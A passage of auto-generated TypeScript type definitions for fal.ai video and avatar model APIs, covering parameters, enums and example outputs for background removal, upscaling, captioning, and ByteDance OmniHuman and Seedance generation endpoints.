InputFalAiAiAvatarSingleTextVoiceEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use for generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiAiAvatarSingleTextAccelerationEnumKey +} + +export type FileE0C4Dbab = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiAiAvatarSingleText = { + /** + * @description The generated video file. + * @example {"file_size":797478,"content_type":"application/octet-stream","file_name":"6c9dd31e1d9a4482877747a52a661a0a.mp4","url":"https://v3.fal.media/files/elephant/-huMN0zTaXmBr2CqzCMps_6c9dd31e1d9a4482877747a52a661a0a.mp4"} + * @type object + */ + video: FileE0C4Dbab + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiAutoCaptionTextCaseEnum = { + default: 'default', + upper: 'upper', + lower: 'lower', +} as const + +export type InputFalAiAutoCaptionTextCaseEnumKey = + (typeof inputFalAiAutoCaptionTextCaseEnum)[keyof typeof inputFalAiAutoCaptionTextCaseEnum] + +export type InputFalAiAutoCaption = { + /** + * @description Left-to-right alignment of the text. Can be a string ('left', 'center', 'right') or a float (0.0-1.0) + * @default center + */ + left_align?: string | number + /** + * @description Top-to-bottom alignment of the text. Can be a string ('top', 'center', 'bottom') or a float (0.0-1.0) + * @default center + */ + top_align?: string | number + /** + * @description Font for generated captions. Choose one in 'Arial','Standard','Garamond', 'Times New Roman','Georgia', or pass a url to a .ttf file + * @default 'Standard' + * @type string | undefined + */ + txt_font?: string + /** + * @description Number of seconds the captions should stay on screen. A higher number will also result in more text being displayed at once. + * @minimum 0.5 + * @maximum 3 + * @default 1.5 + * @type number | undefined + */ + refresh_interval?: number + /** + * @description Width of the text strokes in pixels + * @default 1 + * @type integer | undefined + */ + stroke_width?: number + /** + * @description URL to the .mp4 video with audio. Only videos of size <400MB are allowed. + * @type string + */ + video_url: string + /** + * @description Size of text in generated captions. + * @default 24 + * @type integer | undefined + */ + font_size?: number + /** + * @description Colour of the text. Can be a RGB tuple, a color name, or an hexadecimal notation. + * @default 'white' + * @type string | undefined + */ + txt_color?: string + /** + * @description Capitalization to apply to subtitle text. 'upper' converts text to UPPERCASE, 'lower' converts to lowercase, and 'default' preserves the original casing produced by the speech recognizer. + * @default 'default' + * @type string | undefined + */ + text_case?: InputFalAiAutoCaptionTextCaseEnumKey +} + +export type OutputFalAiAutoCaption = { + /** + * @description URL to the caption .mp4 video. + * @type string + */ + video_url: string +} + +export const inputFalAiBenV2VideoOutputFormatEnum = { + mp4: 'mp4', + webm: 'webm', +} as const + +export type InputFalAiBenV2VideoOutputFormatEnumKey = + (typeof inputFalAiBenV2VideoOutputFormatEnum)[keyof typeof inputFalAiBenV2VideoOutputFormatEnum] + +export type InputFalAiBenV2Video = { + /** + * @description Output video format. Use "webm" for true transparency support (VP9 codec with alpha channel). MP4 format does not support transparency and will render transparent areas as black. + * @default 'mp4' + * @type string | undefined + */ + output_format?: InputFalAiBenV2VideoOutputFormatEnumKey + /** + * @description Optional RGB values (0-255) for the background color. If not provided, the background will be transparent. For ex: [0, 0, 0] + */ + background_color?: [number, number, number] | null + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description URL of video to be used for background removal. + * @example https://storage.googleapis.com/falserverless/gallery/Ben2/100063-video-2160.mp4 + * @type string + */ + video_url: string +} + +export type FileA801B2F4 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiBenV2Video = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/gallery/Ben2/foreground.mp4","content_type":"video/mp4"} + * @type object + */ + video: FileA801B2F4 + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiBirefnetV2VideoOperatingResolutionEnum = { + '1024x1024': '1024x1024', + '2048x2048': '2048x2048', + '2304x2304': '2304x2304', +} as const + +export type InputFalAiBirefnetV2VideoOperatingResolutionEnumKey = + (typeof inputFalAiBirefnetV2VideoOperatingResolutionEnum)[keyof typeof inputFalAiBirefnetV2VideoOperatingResolutionEnum] + +export const inputFalAiBirefnetV2VideoModelEnum = { + 'General Use (Light)': 'General Use (Light)', + 'General Use (Light 2K)': 'General Use (Light 2K)', + 'General Use (Heavy)': 'General Use (Heavy)', + Matting: 'Matting', + Portrait: 'Portrait', + 'General Use (Dynamic)': 'General Use (Dynamic)', +} as const + +export type InputFalAiBirefnetV2VideoModelEnumKey = + (typeof inputFalAiBirefnetV2VideoModelEnum)[keyof typeof inputFalAiBirefnetV2VideoModelEnum] + +export const inputFalAiBirefnetV2VideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiBirefnetV2VideoVideoWriteModeEnumKey = + (typeof inputFalAiBirefnetV2VideoVideoWriteModeEnum)[keyof typeof inputFalAiBirefnetV2VideoVideoWriteModeEnum] + +export const inputFalAiBirefnetV2VideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiBirefnetV2VideoVideoQualityEnumKey = + (typeof inputFalAiBirefnetV2VideoVideoQualityEnum)[keyof typeof inputFalAiBirefnetV2VideoVideoQualityEnum] + +export const inputFalAiBirefnetV2VideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiBirefnetV2VideoVideoOutputTypeEnumKey = + (typeof inputFalAiBirefnetV2VideoVideoOutputTypeEnum)[keyof typeof inputFalAiBirefnetV2VideoVideoOutputTypeEnum] + +export type InputFalAiBirefnetV2Video = { + /** + * @description The resolution to operate on. The higher the resolution, the more accurate the output will be for high res input images. The '2304x2304' option is only available for the 'General Use (Dynamic)' model. + * @default '1024x1024' + * @type string | undefined + */ + operating_resolution?: InputFalAiBirefnetV2VideoOperatingResolutionEnumKey + /** + * @description Whether to refine the foreground using the estimated mask + * @default true + * @type boolean | undefined + */ + refine_foreground?: boolean + /** + * @description + * Model to use for background removal. + * The 'General Use (Light)' model is the original model used in the BiRefNet repository. + * The 'General Use (Light 2K)' model is the original model used in the BiRefNet repository but trained with 2K images. + * The 'General Use (Heavy)' model is a slower but more accurate model. + * The 'Matting' model is a model trained specifically for matting images. + * The 'Portrait' model is a model trained specifically for portrait images. + * The 'General Use (Dynamic)' model supports dynamic resolutions from 256x256 to 2304x2304. + * The 'General Use (Light)' model is recommended for most use cases. + * + * The corresponding models are as follows: + * - 'General Use (Light)': BiRefNet + * - 'General Use (Light 2K)': BiRefNet_lite-2K + * - 'General Use (Heavy)': BiRefNet_lite + * - 'Matting': BiRefNet-matting + * - 'Portrait': BiRefNet-portrait + * - 'General Use (Dynamic)': BiRefNet_dynamic + * + * @default 'General Use (Light)' + * @type string | undefined + */ + model?: InputFalAiBirefnetV2VideoModelEnumKey + /** + * @description URL of the video to remove background from + * @example https://storage.googleapis.com/falserverless/example_inputs/birefnet-video-input.mp4 + * @type string + */ + video_url: string + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiBirefnetV2VideoVideoWriteModeEnumKey + /** + * @description Whether to output the mask used to remove the background + * @default false + * @type boolean | undefined + */ + output_mask?: boolean + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiBirefnetV2VideoVideoQualityEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiBirefnetV2VideoVideoOutputTypeEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type VideoFile2Ddcb6Aa = { + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiBirefnetV2Video = { + /** + * @description Mask used to remove the background + */ + mask_video?: VideoFile2Ddcb6Aa | null + /** + * @description Video with background removed + * @example {"width":1920,"url":"https://storage.googleapis.com/falserverless/example_outputs/birefnet-video-output.webm","duration":8,"fps":24,"height":1080,"num_frames":192,"content_type":"video/webm","file_name":"birefnet-video-output.webm"} + * @type object + */ + video: VideoFile2Ddcb6Aa +} + +export const inputFalAiBytedanceUpscalerUpscaleVideoFidelityEnum = { + high: 'high', + medium: 'medium', +} as const + +export type InputFalAiBytedanceUpscalerUpscaleVideoFidelityEnumKey = + (typeof inputFalAiBytedanceUpscalerUpscaleVideoFidelityEnum)[keyof typeof inputFalAiBytedanceUpscalerUpscaleVideoFidelityEnum] + +export const inputFalAiBytedanceUpscalerUpscaleVideoEnhancementPresetEnum = { + general: 'general', + ugc: 'ugc', + short_series: 'short_series', + aigc: 'aigc', + old_film: 'old_film', +} as const + +export type InputFalAiBytedanceUpscalerUpscaleVideoEnhancementPresetEnumKey = + (typeof inputFalAiBytedanceUpscalerUpscaleVideoEnhancementPresetEnum)[keyof typeof inputFalAiBytedanceUpscalerUpscaleVideoEnhancementPresetEnum] + +export const inputFalAiBytedanceUpscalerUpscaleVideoTargetResolutionEnum = { + '1080p': '1080p', + '2k': '2k', + '4k': '4k', + '6k': '6k', + '8k': '8k', +} as const + +export type InputFalAiBytedanceUpscalerUpscaleVideoTargetResolutionEnumKey = + (typeof inputFalAiBytedanceUpscalerUpscaleVideoTargetResolutionEnum)[keyof typeof inputFalAiBytedanceUpscalerUpscaleVideoTargetResolutionEnum] + +export const inputFalAiBytedanceUpscalerUpscaleVideoBitDepthEnum = { + '8': 8, + '10': 10, + '12': 12, +} as const + +export type InputFalAiBytedanceUpscalerUpscaleVideoBitDepthEnumKey = + (typeof inputFalAiBytedanceUpscalerUpscaleVideoBitDepthEnum)[keyof typeof inputFalAiBytedanceUpscalerUpscaleVideoBitDepthEnum] + +export const inputFalAiBytedanceUpscalerUpscaleVideoEnhancementTierEnum = { + fast: 'fast', + standard: 'standard', + pro: 'pro', +} as const + +export type InputFalAiBytedanceUpscalerUpscaleVideoEnhancementTierEnumKey = + (typeof inputFalAiBytedanceUpscalerUpscaleVideoEnhancementTierEnum)[keyof typeof inputFalAiBytedanceUpscalerUpscaleVideoEnhancementTierEnum] + +export type InputFalAiBytedanceUpscalerUpscaleVideo = { + /** + * @description The enhancement intensity. 'high' applies mild enhancement while keeping visual texture close to the source video. 'medium' provides a balanced image quality enhancement. + * @default 'high' + * @type string | undefined + */ + fidelity?: InputFalAiBytedanceUpscalerUpscaleVideoFidelityEnumKey + /** + * @description The enhancement preset optimized for specific video scenarios. 'general' is a general-purpose template, 'ugc' targets user-generated short videos, 'short_series' is for short dramas, 'aigc' is for AI-generated content, and 'old_film' is for classic film restoration. + * @default 'general' + * @type string | undefined + */ + enhancement_preset?: InputFalAiBytedanceUpscalerUpscaleVideoEnhancementPresetEnumKey + /** + * @description The scaling ratio for the output video resolution. When set, overrides target_resolution and scales the input resolution by this factor (e.g., 2.0 doubles the resolution). Range: 1.1 to 10.0. Please note that this is valid only up to 4k resolution, and trying to scale beyond 4k will result in an error. (4k is defined as having atotal pixel count of 3840x2160). + */ + scale_ratio?: number | null + /** + * @description The target frame rate of the enhanced video in frames per second. + * @minimum 24 + * @maximum 120 + * @default 30 + * @type number | undefined + */ + target_fps?: number + /** + * @description The target resolution of the video to upscale. + * @default '1080p' + * @type string | undefined + */ + target_resolution?: InputFalAiBytedanceUpscalerUpscaleVideoTargetResolutionEnumKey + /** + * @description The color bit depth of the output video. 10-bit and 12-bit output require the Pro enhancement tier. + * @default 8 + * @type number | undefined + */ + bit_depth?: InputFalAiBytedanceUpscalerUpscaleVideoBitDepthEnumKey + /** + * @description The enhancement quality tier. 'fast' provides essential upscaling with good speed, 'standard' uses adaptive algorithms for better visual texture, 'pro' uses large-model restoration for cinematic quality (longer processing time), and 10 times the cost of `standard` and `fast`. + * @default 'standard' + * @type string | undefined + */ + enhancement_tier?: InputFalAiBytedanceUpscalerUpscaleVideoEnhancementTierEnumKey + /** + * @description The URL of the video to upscale. + * @example https://storage.googleapis.com/falserverless/example_inputs/bytedance_video_upscaler_input.mp4 + * @type string + */ + video_url: string +} + +export type FileBcd886E5 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiBytedanceUpscalerUpscaleVideo = { + /** + * @description Generated video file + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance_video_upscaler_output.mp4"} + * @type object + */ + video: FileBcd886E5 + /** + * @description Duration of audio input/video output as used for billing. + * @type number + */ + duration: number +} + +export type InputFalAiBytedanceDreamactorV2 = { + /** + * @description The URL of the driving template video providing motion, facial expressions, and lip movement reference. Max duration: 30 seconds. Format: mp4, mov or webm. Resolution: between 200x200 and 2048x1440. Supports full face and body driving. + * @example https://storage.googleapis.com/falserverless/example_outputs/omnihuman_output.mp4 + * @type string + */ + video_url: string + /** + * @description The URL of the reference image to animate. Supports real people, animation, pets, etc. Format: jpeg, jpg or png. Max size: 4.7 MB. Resolution: between 480x480 and 1920x1080 (larger images will be proportionally reduced). + * @example https://storage.googleapis.com/falserverless/example_inputs/omnihuman.png + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to crop the first second of the output video. The output has a 1-second transition at the beginning; enable this to remove it. + * @default true + * @type boolean | undefined + */ + trim_first_second?: boolean +} + +export type File210223A3 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceDreamactorV2 = { + /** + * @description Generated video file. + * @example {"url":"https://v3b.fal.media/files/b/0a8d6313/ONsZwYeJrFqi1W1jbnfYF_9HU7tPvX1hUlMMxXCepTz_video%20(1)%20(1).mp4"} + * @type object + */ + video: File210223A3 +} + +export type InputFalAiBytedanceOmnihuman = { + /** + * @description The URL of the audio file to generate the video. Audio must be under 30s long. + * @example https://storage.googleapis.com/falserverless/example_inputs/omnihuman_audio.mp3 + * @type string + */ + audio_url: string + /** + * @description The URL of the image used to generate the video + * @example https://storage.googleapis.com/falserverless/example_inputs/omnihuman.png + * @type string + */ + image_url: string +} + +export type File3Df24178 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceOmnihuman = { + /** + * @description Duration of audio input/video output as used for billing. + * @type number + */ + duration: number + /** + * @description Generated video file + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/omnihuman_output.mp4"} + * @type object + */ + video: File3Df24178 +} + +export const inputFalAiBytedanceOmnihumanV15ResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiBytedanceOmnihumanV15ResolutionEnumKey = + (typeof inputFalAiBytedanceOmnihumanV15ResolutionEnum)[keyof typeof inputFalAiBytedanceOmnihumanV15ResolutionEnum] + +export type InputFalAiBytedanceOmnihumanV15 = { + /** + * @description The URL of the audio file to generate the video. Audio must be under 30s long for 1080p generation and under 60s long for 720p generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/omnihuman_v15_input_audio.mp3 + * @type string + */ + audio_url: string + /** + * @description Generate a video at a faster rate with a slight quality trade-off. + * @default false + * @type boolean | undefined + */ + turbo_mode?: boolean + /** + * @description The text prompt used to guide the video generation. + */ + prompt?: string | null + /** + * @description The URL of the mask image to apply to the image. Only the person in the white area of the mask will speak. + */ + mask_url?: string | null + /** + * @description The resolution of the generated video. Defaults to 1080p. 720p generation is faster and higher in quality. 1080p generation is limited to 30s audio and 720p generation is limited to 60s audio. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiBytedanceOmnihumanV15ResolutionEnumKey + /** + * @description The URL of the image used to generate the video + * @example https://storage.googleapis.com/falserverless/example_inputs/omnihuman_v15_input_image.png + * @type string + */ + image_url: string +} + +export type File0698E8Cb = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceOmnihumanV15 = { + /** + * @description Duration of audio input/video output as used for billing. + * @type number + */ + duration: number + /** + * @description Generated video file + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/omnihuman_v15_output.mp4"} + * @type object + */ + video: File0698E8Cb +} + +export const inputFalAiBytedanceSeedanceV15ProImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiBytedanceSeedanceV15ProImageToVideoResolutionEnumKey = + (typeof inputFalAiBytedanceSeedanceV15ProImageToVideoResolutionEnum)[keyof typeof inputFalAiBytedanceSeedanceV15ProImageToVideoResolutionEnum] + +export const inputFalAiBytedanceSeedanceV15ProImageToVideoAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + auto: 'auto', +} as const + +export type InputFalAiBytedanceSeedanceV15ProImageToVideoAspectRatioEnumKey = + (typeof inputFalAiBytedanceSeedanceV15ProImageToVideoAspectRatioEnum)[keyof typeof inputFalAiBytedanceSeedanceV15ProImageToVideoAspectRatioEnum] + +export const inputFalAiBytedanceSeedanceV15ProImageToVideoDurationEnum = { + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', +} as const + +export type InputFalAiBytedanceSeedanceV15ProImageToVideoDurationEnumKey = + (typeof inputFalAiBytedanceSeedanceV15ProImageToVideoDurationEnum)[keyof typeof inputFalAiBytedanceSeedanceV15ProImageToVideoDurationEnum] + +export type InputFalAiBytedanceSeedanceV15ProImageToVideo = { + /** + * @description The text prompt used to generate the video + * @example A man is crying and he says "I shouldn't have done it. I regret everything" + * @type string + */ + prompt: string + /** + * @description Video resolution - 480p for faster generation, 720p for balance, 1080p for higher quality + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiBytedanceSeedanceV15ProImageToVideoResolutionEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiBytedanceSeedanceV15ProImageToVideoAspectRatioEnumKey + /** + * @description The URL of the image used to generate video + * @example https://v3b.fal.media/files/b/0a8773cd/REzCWn1BKUVuMFTxR-R3W_image_317.png + * @type string + */ + image_url: string + /** + * @description Random seed to control video generation. Use -1 for random. + */ + seed?: number | null + /** + * @description Whether to fix the camera position + * @default false + * @type boolean | undefined + */ + camera_fixed?: boolean + /** + * @description Duration of the video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiBytedanceSeedanceV15ProImageToVideoDurationEnumKey + /** + * @description Whether to generate audio for the video + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The URL of the image the video ends with. Defaults to None. + */ + end_image_url?: string | null +} + +export type File1A0Ee4Ab = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceSeedanceV15ProImageToVideo = { + /** + * @description Generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a8773d3/l2fk-fIO_PQFPzbvHkQX1_video.mp4"} + * @type object + */ + video: File1A0Ee4Ab + /** + * @description Seed used for generation + * @example 42 + * @type integer + */ + seed: number +} + +export const inputFalAiBytedanceSeedanceV15ProTextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiBytedanceSeedanceV15ProTextToVideoResolutionEnumKey = + (typeof inputFalAiBytedanceSeedanceV15ProTextToVideoResolutionEnum)[keyof typeof inputFalAiBytedanceSeedanceV15ProTextToVideoResolutionEnum] + +export const inputFalAiBytedanceSeedanceV15ProTextToVideoAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + auto: 'auto', +} as const + +export type InputFalAiBytedanceSeedanceV15ProTextToVideoAspectRatioEnumKey = + (typeof inputFalAiBytedanceSeedanceV15ProTextToVideoAspectRatioEnum)[keyof typeof inputFalAiBytedanceSeedanceV15ProTextToVideoAspectRatioEnum] + +export const inputFalAiBytedanceSeedanceV15ProTextToVideoDurationEnum = { + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', +} as const + +export type InputFalAiBytedanceSeedanceV15ProTextToVideoDurationEnumKey = + (typeof inputFalAiBytedanceSeedanceV15ProTextToVideoDurationEnum)[keyof typeof inputFalAiBytedanceSeedanceV15ProTextToVideoDurationEnum] + +export type InputFalAiBytedanceSeedanceV15ProTextToVideo = { + /** + * @description The text prompt used to generate the video + * @example Defense attorney declaring "Ladies and gentlemen, reasonable doubt isn't just a phrase, it's the foundation of justice itself", footsteps on marble, jury shifting, courtroom drama, closing argument power. + * @type string + */ + prompt: string + /** + * @description Video resolution - 480p for faster generation, 720p for balance, 1080p for higher quality + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiBytedanceSeedanceV15ProTextToVideoResolutionEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiBytedanceSeedanceV15ProTextToVideoAspectRatioEnumKey + /** + * @description Random seed to control video generation. Use -1 for random. + */ + seed?: number | null + /** + * @description Whether to fix the camera position + * @default false + * @type boolean | undefined + */ + camera_fixed?: boolean + /** + * @description Duration of the video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiBytedanceSeedanceV15ProTextToVideoDurationEnumKey + /** + * @description Whether to generate audio for the video + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean +} + +export type FileDa29De3F = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceSeedanceV15ProTextToVideo = { + /** + * @description Generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a87743e/0K5lW0v-iC_BbKo64o0cA_video.mp4"} + * @type object + */ + video: FileDa29De3F + /** + * @description Seed used for generation + * @example 42 + * @type integer + */ + seed: number +} + +export const inputFalAiBytedanceSeedanceV1ProFastImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiBytedanceSeedanceV1ProFastImageToVideoResolutionEnumKey = + (typeof inputFalAiBytedanceSeedanceV1ProFastImageToVideoResolutionEnum)[keyof typeof inputFalAiBytedanceSeedanceV1ProFastImageToVideoResolutionEnum] + +export const inputFalAiBytedanceSeedanceV1ProFastImageToVideoAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + auto: 'auto', +} as const + +export type InputFalAiBytedanceSeedanceV1ProFastImageToVideoAspectRatioEnumKey = + (typeof inputFalAiBytedanceSeedanceV1ProFastImageToVideoAspectRatioEnum)[keyof typeof inputFalAiBytedanceSeedanceV1ProFastImageToVideoAspectRatioEnum] + +export const inputFalAiBytedanceSeedanceV1ProFastImageToVideoDurationEnum = { + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', +} as const + +export type InputFalAiBytedanceSeedanceV1ProFastImageToVideoDurationEnumKey = + (typeof inputFalAiBytedanceSeedanceV1ProFastImageToVideoDurationEnum)[keyof typeof inputFalAiBytedanceSeedanceV1ProFastImageToVideoDurationEnum] + +export type InputFalAiBytedanceSeedanceV1ProFastImageToVideo = { + /** + * @description The text prompt used to generate the video + * @example Bathed in a stark spotlight, a lone ballet dancer takes center stage. Her movements, precise and graceful, tell a story of passion and dedication against the velvet darkness. The scene evokes a sense of intimacy, highlighting the raw emotion and artistry of her performance. + * @type string + */ + prompt: string + /** + * @description Video resolution - 480p for faster generation, 720p for balance, 1080p for higher quality + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiBytedanceSeedanceV1ProFastImageToVideoResolutionEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The aspect ratio of the generated video + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiBytedanceSeedanceV1ProFastImageToVideoAspectRatioEnumKey + /** + * @description The URL of the image used to generate video + * @example https://storage.googleapis.com/falserverless/example_inputs/seedance_fast_i2v_input.png + * @type string + */ + image_url: string + /** + * @description Random seed to control video generation. Use -1 for random. + */ + seed?: number | null + /** + * @description The number of frames to generate. If provided, will override duration. + */ + num_frames?: number | null + /** + * @description Whether to fix the camera position + * @default false + * @type boolean | undefined + */ + camera_fixed?: boolean + /** + * @description Duration of the video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiBytedanceSeedanceV1ProFastImageToVideoDurationEnumKey +} + +export type FileCaecb893 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceSeedanceV1ProFastImageToVideo = { + /** + * @description Generated video file + * @example {"url":"https://storage.googleapis.com/falserverless/example_inputs/seedance_fast_i2v_output.mp4"} + * @type object + */ + video: FileCaecb893 + /** + * @description Seed used for generation + * @example 42 + * @type integer + */ + seed: number +} + +export const inputFalAiBytedanceSeedanceV1ProFastTextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiBytedanceSeedanceV1ProFastTextToVideoResolutionEnumKey = + (typeof inputFalAiBytedanceSeedanceV1ProFastTextToVideoResolutionEnum)[keyof typeof inputFalAiBytedanceSeedanceV1ProFastTextToVideoResolutionEnum] + +export const inputFalAiBytedanceSeedanceV1ProFastTextToVideoAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiBytedanceSeedanceV1ProFastTextToVideoAspectRatioEnumKey = + (typeof inputFalAiBytedanceSeedanceV1ProFastTextToVideoAspectRatioEnum)[keyof typeof inputFalAiBytedanceSeedanceV1ProFastTextToVideoAspectRatioEnum] + +export const inputFalAiBytedanceSeedanceV1ProFastTextToVideoDurationEnum = { + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', +} as const + +export type InputFalAiBytedanceSeedanceV1ProFastTextToVideoDurationEnumKey = + (typeof inputFalAiBytedanceSeedanceV1ProFastTextToVideoDurationEnum)[keyof 